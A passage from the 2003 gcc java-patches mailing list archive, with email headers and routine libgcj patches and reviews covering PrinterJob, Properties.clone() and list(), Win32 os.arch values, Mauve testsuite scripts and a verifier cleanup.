Paper +public class Paper implements Cloneable { /* Index: java/awt/print/PrinterJob.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/print/PrinterJob.java,v retrieving revision 1.1 diff -u -r1.1 PrinterJob.java --- java/awt/print/PrinterJob.java 9 Aug 2002 04:26:16 -0000 1.1 +++ java/awt/print/PrinterJob.java 15 Feb 2003 15:31:38 -0000 @@ -118,8 +118,7 @@ * * @param job_name The name of the print job. */ -public abstract String -setJobName(String job_name); +public abstract void setJobName (String job_name); /*************************************************************************/ @@ -195,8 +194,7 @@ /** * Prints the pages. */ -public abstract void -print(); +public abstract void print () throws PrinterException; /** * Displays a dialog box to the user which allows the print job --Boundary-00=_o2lT+cMS410tDAS-- From java-patches-return-6159-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 15 16:39:00 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9369 invoked by alias); 15 Feb 2003 16:39:00 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9358 invoked from network); 15 Feb 2003 16:38:58 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 15 Feb 2003 16:38:58 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18k5HU-0000LM-00; Sat, 15 Feb 2003 17:35:12 +0100 Subject: Re: Mauve, inner classes and dejagnu magic From: Mark Wielaard To: tromey@redhat.com Cc: Ulrich Weigand , java-patches@gcc.gnu.org In-Reply-To: <1045306347.30214.441.camel@elsschot> References: <200302142338.AAA14569@faui11.informatik.uni-erlangen.de> <87k7g2mnpi.fsf@fleche.redhat.com> <1045306347.30214.441.camel@elsschot> Content-Type: multipart/mixed; boundary="=-4YE8IQj3xb8InFHX7HCr" Organization: Message-Id: <1045326930.30211.457.camel@elsschot> Mime-Version: 1.0 Date: 15 Feb 2003 17:35:30 +0100 --=-4YE8IQj3xb8InFHX7HCr Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, > On Sat, 2003-02-15 at 00:44, Tom Tromey wrote: > > Anyway, rewriting this to use a regexp or something is pretty easy. > > Mark, could you do that? If not, tell me and I'll do it. > > How does the following look? I am running a complete check with the > above setup now. OK tests went well. I am installing it as follows to branch and mainline. Sorry for the inconvenience. 2003-02-15 Mark Wielaard * lib/libjava.exp (test_libjava_from_javac): Use regsub not string map. * libjava.mauve/mauve.exp (mauve_compute_uses):Likewise (test_mauve):Likewise. Cheers, Mark --=-4YE8IQj3xb8InFHX7HCr Content-Disposition: inline; filename=regsub.patch Content-Type: text/x-patch; name=regsub.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: lib/libjava.exp =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/lib/libjava.exp,v retrieving revision 1.49 diff -u -r1.49 libjava.exp --- lib/libjava.exp 14 Feb 2003 22:17:00 -0000 1.49 +++ lib/libjava.exp 15 Feb 2003 16:15:32 -0000 @@ -788,7 +788,7 @@ foreach c_file $class_files { set executable [file rootname [file tail $c_file]].o # Don't write files which contain $ chars. - set executable [string map {$ ^} $executable] + regsub -all "\\$" $executable "\^" executable set x [libjava_prune_warnings \ [libjava_tcompile '$c_file' "$executable" $type $args]] lappend removeList $executable Index: libjava.mauve/mauve.exp =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/libjava.mauve/mauve.exp,v retrieving revision 1.19 diff -u -r1.19 mauve.exp --- libjava.mauve/mauve.exp 14 Feb 2003 20:36:00 -0000 1.19 +++ libjava.mauve/mauve.exp 15 Feb 2003 16:15:32 -0000 @@ -49,7 +49,8 @@ # Now add all inner classes foreach inner [glob -nocomplain [file rootname $file]$*.class] { # Prevent excessive escaping by replacing $ with a ^ in the .o name - set inner [string map {$ ^} [file rootname $inner]].o + set inner [file rootname $inner].o + regsub -all "\\$" $inner "\^" inner lappend uses($item) $inner } } @@ -186,7 +187,8 @@ if {! [file exists $obj]} then { verbose "compiling $obj for test of $class" # The .class file does contain a $, but we can quote it between "'"s. - set srcfile [string map {^ $} [file rootname $obj]].class + set srcfile [file rootname $obj].class + regsub -all "\\^" $srcfile "\$" srcfile set x [libjava_prune_warnings \ [libjava_tcompile '[pwd]/$srcfile' $obj object $compile_args]] if {$x != ""} then { --=-4YE8IQj3xb8InFHX7HCr-- From java-patches-return-6160-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 15 17:36:11 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27877 invoked by alias); 15 Feb 2003 17:36:11 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27869 invoked from network); 15 Feb 2003 17:36:09 -0000 Received: from unknown (HELO faui11.informatik.uni-erlangen.de) (131.188.31.2) by 172.16.49.205 with SMTP; 15 Feb 2003 17:36:09 -0000 Received: (from weigand@localhost) by faui11.informatik.uni-erlangen.de (8.9.1/8.1.4-FAU) id SAA03920; Sat, 15 Feb 2003 18:36:01 +0100 (MET) From: Ulrich Weigand Message-Id: <200302151736.SAA03920@faui11.informatik.uni-erlangen.de> Subject: Re: Mauve, inner classes and dejagnu magic To: mark@klomp.org (Mark Wielaard) Date: Sat, 15 Feb 2003 18:36:01 +0100 (MET) Cc: tromey@redhat.com, weigand@immd1.informatik.uni-erlangen.de (Ulrich Weigand), java-patches@gcc.gnu.org In-Reply-To: <1045306347.30214.441.camel@elsschot> from "Mark Wielaard" at Feb 15, 2003 11:52:28 AM MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Mark Wielaard wrote: > Sorry didn't know that. runtest --version: > Expect version is 5.37.2 > Tcl version is 8.3 > Framework version is 1.4.2.x Hmm, I have this version: Expect version is 5.26 Tcl version is 8.0 Framework version is 1.3.1 which is what I got from ftp://gcc.gnu.org/pub/gcc/infrastructure/dejagnu-20010126.tar.gz as the 'recommended' version to use with the GCC test suite ... > How does the following look? I am running a complete check with the > above setup now. That one works for me, thanks. Bye, Ulrich -- Dr. Ulrich Weigand weigand@informatik.uni-erlangen.de From java-patches-return-6161-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 16 14:44:40 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8900 invoked by alias); 16 Feb 2003 14:44:40 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8892 invoked from network); 16 Feb 2003 14:44:38 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 16 Feb 2003 14:44:38 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18kQ1e-0002lF-00 for ; Sun, 16 Feb 2003 15:44:14 +0100 Subject: FYI: Mauve xfails patch From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: multipart/mixed; boundary="=-YqLsysihJC50seQKBzFy" Organization: Message-Id: <1045406672.30204.542.camel@elsschot> Mime-Version: 1.0 Date: 16 Feb 2003 15:44:33 +0100 --=-YqLsysihJC50seQKBzFy Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, The following add FAILs to the mauve xfails file for bugs libgcj/9715 and libgcj/9716. I don't expect us to fix these for 3.3 and I want to get us to zero unexpected failures soon. 2003-02-16 Mark Wielaard * libjava.mauve/xfails: Add Class.reflect2 and String.getBytes FAILs. I am installing this on the branch and mainline. After this the unexpected/unanalysed failures are (i686-pc-linux-gnu): FAIL: gnu.testlet.java.lang.Double.DoubleTest: Error: test_shortbyteValue failed - 5 (number 1) FAIL: gnu.testlet.java.lang.Float.FloatTest: Error: test_shortbyteValue failed - 5 (number 1) FAIL: gnu.testlet.java.net.DatagramSocket.DatagramSocketTest2: Expected IOException (number 1) FAIL: gnu.testlet.java.net.DatagramSocket.DatagramSocketTest2: uncaught exception at "invalid_send_data" number 4: java.lang.IllegalArgumentException: Invalid length: -1 FAIL: gnu.testlet.java.net.Socket.SocketTest: Error : test_params failed - 1 get port did not return proper values (number 1) FAIL: gnu.testlet.java.net.Socket.jdk13: unexpected error: Success (number 1) Strangely on powerpc-unknown-linux-gnu I am also seeing: FAIL: gnu.testlet.java.security.SecureRandom.Instance: uncaught exception at number 1: java.lang.InternalError: no SHA implementation found FAIL: gnu.testlet.java.security.SecureRandom.SHA1PRNG: found implementation (number 1) FAIL: gnu.testlet.java.security.SecureRandom.SHA1PRNG: no implementation found (number 1) FAIL: gnu.testlet.java.security.Security.property: uncaught exception at number 1: java.lang.NullPointerException Will try to analyze these soon. Cheers, Mark --=-YqLsysihJC50seQKBzFy Content-Disposition: inline; filename=xfails.patch Content-Type: text/x-patch; name=xfails.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: libjava.mauve/xfails =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/libjava.mauve/xfails,v retrieving revision 1.12 diff -u -r1.12 xfails --- libjava.mauve/xfails 13 Feb 2003 16:36:57 -0000 1.12 +++ libjava.mauve/xfails 16 Feb 2003 14:22:59 -0000 @@ -26,9 +26,24 @@ FAIL: gnu.testlet.java.lang.Class.ClassTest: Error: test_getClassLoader failed - 1 (number 1) FAIL: gnu.testlet.java.lang.Class.ClassTest: Error: test_getClassLoader failed - 2 (number 1) FAIL: gnu.testlet.java.lang.Class.reflect2: getClasses (number 2) -FAIL: gnu.testlet.java.lang.Class.reflect2: uncaught exception at "getClasses" number 3: java.lang.ArrayIndexOutOfBoundsException: 0 +FAIL: gnu.testlet.java.lang.Class.reflect2: getClasses (number 3) +FAIL: gnu.testlet.java.lang.Class.reflect2: getClasses (number 5) +FAIL: gnu.testlet.java.lang.Class.reflect2: getDeclaringClass (number 3) +FAIL: gnu.testlet.java.lang.Class.reflect2: getDeclaringClass (number 4) +FAIL: gnu.testlet.java.lang.Class.reflect2: getDeclaringClass (number 5) +FAIL: gnu.testlet.java.lang.Class.reflect2: getDeclaredClasses (number 1) +FAIL: gnu.testlet.java.lang.Class.reflect2: getDeclaredClasses (number 2) +FAIL: gnu.testlet.java.lang.Class.reflect2: getDeclaredClasses (number 3) FAIL: gnu.testlet.java.lang.Double.DoubleTest: Error: test_intValue returned wrong results CYGNUS: Float to int conversions - 1 (number 1) FAIL: gnu.testlet.java.lang.Float.FloatTest: Error: test_intValue returned wrong results - 1 (number 1) +FAIL: gnu.testlet.java.lang.String.getBytes13: String.getBytes("UTF-16") (number 1) +FAIL: gnu.testlet.java.lang.String.getBytes13: String.getBytes("UnicodeBig") (number 1) +FAIL: gnu.testlet.java.lang.String.getBytes13: String.getBytes("UnicodeBigUnmarked") (number 1) +FAIL: gnu.testlet.java.lang.String.getBytes13: String.getBytes("UnicodeLittle") (number 1) +FAIL: gnu.testlet.java.lang.String.getBytes13: String.getBytes("UnicodeLittleUnmarked") (number 1) +FAIL: gnu.testlet.java.lang.String.getBytes14: String.getBytes("ISO8859_15") (number 1) +FAIL: gnu.testlet.java.lang.String.getBytes14: String.getBytes("UTF-16BE") (number 1) +FAIL: gnu.testlet.java.lang.String.getBytes14: String.getBytes("UTF-16LE") (number 1) FAIL: gnu.testlet.java.text.AttributedString.Test: Attribute key count (number 1) FAIL: gnu.testlet.java.text.DateFormatSymbols.Test: patterns (number 2) FAIL: gnu.testlet.java.text.SimpleDateFormat.Test: equals() (number 1) --=-YqLsysihJC50seQKBzFy-- From java-patches-return-6162-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 16 14:59:38 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14872 invoked by alias); 16 Feb 2003 14:59:38 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14864 invoked from network); 16 Feb 2003 14:59:37 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 16 Feb 2003 14:59:37 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18kQEE-0001T3-00 for ; Sun, 16 Feb 2003 15:57:14 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18kQED-0001Ss-00 for ; Sun, 16 Feb 2003 15:57:13 +0100 From: Ranjit Mathew Subject: Addendum (Re: Patch: FYI: clone System properties) Date: Sun, 16 Feb 2003 20:31:46 +0530 Lines: 189 Message-ID: <3E4FA7DA.6AEB903B@hotmail.com> References: <87of5epy28.fsf@fleche.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en Tom Tromey wrote: > > Some programs (e.g., ant) expect the system properties not to have a > parent. While this is a bug in those programs, I've seen 3 reports of > this problem this week alone. It seems convenient for us to be > compatible here, and it is easy. Hi Tom, Thank you for fixing this. Your patch also fixes the problem of getting system properties and finding out that you get an empty enumeration on it! I don't know if this is the same problem as that stopping the programs you mention from working. The following patch is an addendum to your patch. It implements clone( ) for Properties and also attempts to address Classpath support request number 100559 raised by crawley and pointed out by Mike that lists the differences in the output of Properties.list( ) in GCJ v/s Sun's JDK 1.3/1.4: http://savannah.gnu.org/support/?func=detailsupport&support_id=100559&group_id=85 clone( ) is implemented as a simple shallow copy using that in Hashtable - in particular, the "defaults" Properties object is shared between the clone and the original. list( ) now looks quite similar to the output of JDK 1.3/1.4. Note that, as pointed out by crawley, the JDK does not truncate key names but does truncate values to 40 characters including ellipsis. It also prints out values without escaping them like the store( ) method. A small digression: I noticed during this work that for some reason TimeZone.getDefault( ) does not return the expected "IST" time-zone on my machine and returns "GMT" instead. I must figure out why... BTW, the MSVC runtime returns 28,800 as the value of _timezone instead of the expected -19800 for my timezone *unless* I first call a time function like localtime( ) or the environement variable TZ is defined appropriately! Weirdly enough, this is also documented by MSDN. No, these still do not solve the default TimeZone problem. Ranjit. Index: ChangeLog from Ranjit Mathew * java/util/Properties (store): Move the code formerly in list( ), into this method. (list (PrintStream)): Just call list (PrintWriter) with a PrintWriter object constructed from the given PrintStream object. (list (PrintWriter)): Emulate the output of Properties.list( ) as found in JDK 1.3/1.4. (clone): Define. Index: java/util/Properties.java =================================================================== --- java/util/Properties.java 2003-02-16 16:40:42.000000000 +0530 +++ java/util/Properties.java 2003-02-16 18:44:12.000000000 +0530 @@ -378,7 +378,19 @@ if (header != null) writer.println("#" + header); - writer.println("#" + new Date()); - list(writer); - writer.flush(); + writer.println ("#" + Calendar.getInstance ().getTime ()); + + Iterator iter = entrySet ().iterator (); + int i = size (); + StringBuffer s = new StringBuffer (); // Reuse the same buffer. + while (--i >= 0) + { + Map.Entry entry = (Map.Entry) iter.next (); + formatForOutput ((String) entry.getKey (), s, true); + s.append ('='); + formatForOutput ((String) entry.getValue (), s, false); + writer.println (s); + } + + writer.flush (); } @@ -454,36 +466,25 @@ /** - * Writes the key/value pairs to the given print stream. They are - * written in the way described in the method store. This does not visit - * the keys in the default properties. + * Prints the key/value pairs to the given print stream. This is + * mainly useful for debugging purposes. * - * @param out the stream, where the key/value pairs are written to - * @throws ClassCastException if this property contains any key or + * @param out the print stream, where the key/value pairs are written to + * @throws ClassCastException if this property contains a key or a * value that isn't a string - * @see #store(OutputStream, String) + * @see #list(PrintWriter) */ public void list(PrintStream out) { - Iterator iter = entrySet().iterator(); - int i = size(); - StringBuffer s = new StringBuffer(); // Reuse the same buffer. - while (--i >= 0) - { - Map.Entry entry = (Map.Entry) iter.next(); - formatForOutput((String) entry.getKey(), s, true); - s.append('='); - formatForOutput((String) entry.getValue(), s, false); - out.println(s); - } + PrintWriter writer = new PrintWriter (out); + list (writer); } /** - * Writes the key/value pairs to the given print writer. They are - * written in the way, described in the method store. + * Prints the key/value pairs to the given print writer. This is + * mainly useful for debugging purposes. * - * @param out the writer, where the key/value pairs are written to - * @throws ClassCastException if this property contains any key or + * @param out the print writer where the key/value pairs are written to + * @throws ClassCastException if this property contains a key or a * value that isn't a string - * @see #store(OutputStream, String) * @see #list(PrintStream) * @since 1.1 @@ -491,15 +492,22 @@ public void list(PrintWriter out) { - Iterator iter = entrySet().iterator(); - int i = size(); - StringBuffer s = new StringBuffer(); // Reuse the same buffer. + out.println ("-- listing properties --"); + + Iterator iter = entrySet ().iterator (); + int i = size (); while (--i >= 0) { - Map.Entry entry = (Map.Entry) iter.next(); - formatForOutput((String) entry.getKey(), s, true); - s.append('='); - formatForOutput((String) entry.getValue(), s, false); - out.println(s); + Map.Entry entry = (Map.Entry) iter.next (); + out.print ((String) entry.getKey () + "="); + + // JDK 1.3/1.4 restrict the printed value, but not the key, + // to 40 characters, including the truncating ellipsis. + String s = (String ) entry.getValue (); + if (s != null && s.length () > 40) + out.println (s.substring (0, 37) + "..."); + else + out.println (s); } + out.flush (); } @@ -563,3 +571,27 @@ } } + + /** + * Returns a shallow clone of this Properties object. The time + * complexity and behaviour of this method is the same as that + * of Hashtable.clone(). + * + * @return the clone + * @see Hashtable#clone() + */ + public synchronized Object clone() + { + Properties copy = null; + try + { + copy = (Properties) super.clone (); + } + catch (CloneNotSupportedException x) + { + // Not possible. + } + copy.defaults = this.defaults; + return copy; + } + } // class Properties From java-patches-return-6163-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 16 16:43:42 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15204 invoked by alias); 16 Feb 2003 16:43:42 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15197 invoked from network); 16 Feb 2003 16:43:41 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 16 Feb 2003 16:43:41 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18kRqw-0006A6-00 for ; Sun, 16 Feb 2003 17:41:18 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18kRqw-00069v-00 for ; Sun, 16 Feb 2003 17:41:18 +0100 From: Ranjit Mathew Subject: Patch: Make "os.arch" consistent with Sun's JDK on Win32 Date: Sun, 16 Feb 2003 22:15:00 +0530 Lines: 65 Message-ID: <3E4FC00C.6DBBE221@hotmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en Hi, This patch is in response to a recent request on the main mailing list to make the value of the "os.arch" system property on Win32 more like what Sun's JDK sets - namely "x86" instead of the current "i486" or "i586" for GCJ running on Win32. This patch also sets these names for Windows NT running on other architectures (alpha, mips, etc.) - I do not know if these are consistent with what Sun's JDK on these platforms returns *if such ports of the JDK exist at all* - Windows NT has long ceased to exist on Alpha, PPC and MIPS. (Except for IA64 - we should update this when we come to know what Sun's JDK on Win/IA64 sets.) Ranjit. Index: ChangeLog from Ranjit Mathew * win32.cc (_Jv_platform_initProperties): Use generic names like "x86" for the "os.arch" property to be consistent with what Sun's JDK produces. Use the wProcessorArchitecture member of the Win32 SYSTEM_INFO structure, filled in a call to GetSystemInfo( ), instead of dwProcessorType. Index: win32.cc =================================================================== --- win32.cc 2003-02-16 21:30:02.000000000 +0530 +++ win32.cc 2003-02-16 21:41:56.000000000 +0530 @@ -174,21 +174,22 @@ SYSTEM_INFO si; GetSystemInfo (&si); - switch (si.dwProcessorType) + switch (si.wProcessorArchitecture) { - case PROCESSOR_INTEL_386: - SET ("os.arch", "i386"); + case PROCESSOR_ARCHITECTURE_INTEL: + SET ("os.arch", "x86"); break; - case PROCESSOR_INTEL_486: - SET ("os.arch", "i486"); + case PROCESSOR_ARCHITECTURE_MIPS: + SET ("os.arch", "mips"); break; - case PROCESSOR_INTEL_PENTIUM: - SET ("os.arch", "i586"); + case PROCESSOR_ARCHITECTURE_ALPHA: + SET ("os.arch", "alpha"); break; - case PROCESSOR_MIPS_R4000: - SET ("os.arch", "MIPS4000"); + case PROCESSOR_ARCHITECTURE_PPC: + SET ("os.arch", "ppc"); break; - case PROCESSOR_ALPHA_21064: - SET ("os.arch", "ALPHA"); + case PROCESSOR_ARCHITECTURE_IA64: + SET ("os.arch", "ia64"); break; + case PROCESSOR_ARCHITECTURE_UNKNOWN: default: SET ("os.arch", "unknown"); From java-patches-return-6164-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 16 19:34:05 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8912 invoked by alias); 16 Feb 2003 19:34:05 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8905 invoked from network); 16 Feb 2003 19:34:05 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 16 Feb 2003 19:34:05 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA25518; Sun, 16 Feb 2003 12:34:03 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id E39374F8072; Sun, 16 Feb 2003 12:24:20 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: small verifier cleanup From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: My LESLIE GORE record is BROKEN.. Date: 16 Feb 2003 12:24:20 -0700 Message-ID: <873cmoowpn.fsf@fleche.redhat.com> Lines: 35 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to 3.3 and 3.4. This removes an unused variable from a verifier method. Tom Index: ChangeLog from Tom Tromey * verify.cc (_Jv_BytecodeVerifier::pop_jump): Removed unused variable. Index: verify.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/verify.cc,v retrieving revision 1.48.2.1 diff -u -r1.48.2.1 verify.cc --- verify.cc 13 Feb 2003 23:47:54 -0000 1.48.2.1 +++ verify.cc 16 Feb 2003 19:32:06 -0000 @@ -1432,7 +1432,6 @@ { int *prev_loc = &next_verify_pc; int npc = next_verify_pc; - bool skipped = false; while (npc != state::NO_NEXT) { @@ -1449,7 +1448,6 @@ return npc; } - skipped = true; prev_loc = &states[npc]->next; npc = states[npc]->next; } From java-patches-return-6165-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 16 19:36:59 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9665 invoked by alias); 16 Feb 2003 19:36:59 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9658 invoked from network); 16 Feb 2003 19:36:58 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 16 Feb 2003 19:36:58 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA25947; Sun, 16 Feb 2003 12:36:57 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 816FE4F8072; Sun, 16 Feb 2003 12:27:14 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.awt.datatransfer.DataTransfer References: <200302151428.09862.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Is it NOUVELLE CUISINE when 3 olives are struggling with a scallop in a plate of SAUCE MORNAY? Date: 16 Feb 2003 12:27:14 -0700 In-Reply-To: <200302151428.09862.konqueror@gmx.de> Message-ID: <87y94gni0d.fsf@fleche.redhat.com> Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I commited a merge back from classpath for Michael> java.awt.datatransfer.DataTransfer. It made classpath compile with Michael> jikes. I hope this was okay. No problem. gcj is a bit too forgiving in its parsing; syntax cleanups for other compilers can go in under the obvious rule (provided that gcj can still build the result). Thanks. Tom From java-patches-return-6166-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 15:01:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19910 invoked by alias); 17 Feb 2003 15:01:35 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19883 invoked from network); 17 Feb 2003 15:01:34 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 17 Feb 2003 15:01:34 -0000 Received: from mail0.ewetel.de ([212.6.122.12]) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18kgNw-0001We-00 for java-patches@gcc.gnu.org; Mon, 17 Feb 2003 03:12:21 -0500 Received: from asterix.konqueror.de (dynadsl-080-228-73-052.ewetel.net [80.228.73.52]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h1H84jbq010932; Mon, 17 Feb 2003 09:04:46 +0100 (MET) From: Michael Koch To: tromey@redhat.com Subject: Re: [PATCH] java.awt.dnd Date: Mon, 17 Feb 2003 09:56:50 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <200302151627.44590.konqueror@gmx.de> <871y27om05.fsf@fleche.redhat.com> In-Reply-To: <871y27om05.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200302170956.53899.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Montag, 17. Februar 2003 00:15 schrieb Tom Tromey: > >>>>> "Michael" =3D=3D Michael Koch writes: > > Michael> Here another java.awt patch for review. It fixes some > Michael> glitches in java.awt.dnd. Please review and comment. > > Looks good, please commit. > > Michael> + * Sets the component assoziated with this dro ptarget > object. > > Typo, should be "associated". There are a couple of these. > Also the space in "drop target" is misplaced. > > Do you use Emacs? I recently discovered and started using M-x > flyspell-prog-mode. This enables automatic spell checking while > you type, but only in comments and strings. Well I tried flyspell the last time you told me, but it doesnt really=20 work in my german localized environement very well. It marks each=20 egnlish word as wrong. It uses the german dictionary and I dont know=20 how to convince it not to use the default dictionary of=20 ispell/aspell/pspell/whatever. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+UKPVWSOgCCdjSDsRApJYAJ46OaDr+jnoOhR9niVNJrujg4CIZwCglPdv oahYdy40ENK0bGH11y3TmWQ=3D =3Dk6Jt =2D----END PGP SIGNATURE----- From java-patches-return-6167-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 15:03:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22218 invoked by alias); 17 Feb 2003 15:02:00 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21210 invoked from network); 17 Feb 2003 15:01:47 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 17 Feb 2003 15:01:47 -0000 Received: from mail.peakpeak.com ([207.174.178.17] helo=gash2.peakpeak.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18kfKy-00067H-00 for java-patches@gcc.gnu.org; Mon, 17 Feb 2003 02:05:12 -0500 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id XAA05705; Sun, 16 Feb 2003 23:51:59 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C5DDA4F8072; Sun, 16 Feb 2003 23:42:21 -0700 (MST) To: "Ranjit Mathew" Cc: java-patches@gcc.gnu.org Subject: Re: Addendum (Re: Patch: FYI: clone System properties) References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: WHY are we missing KOJAK? Date: 16 Feb 2003 23:42:21 -0700 In-Reply-To: Message-ID: <87smunl86q.fsf@fleche.redhat.com> 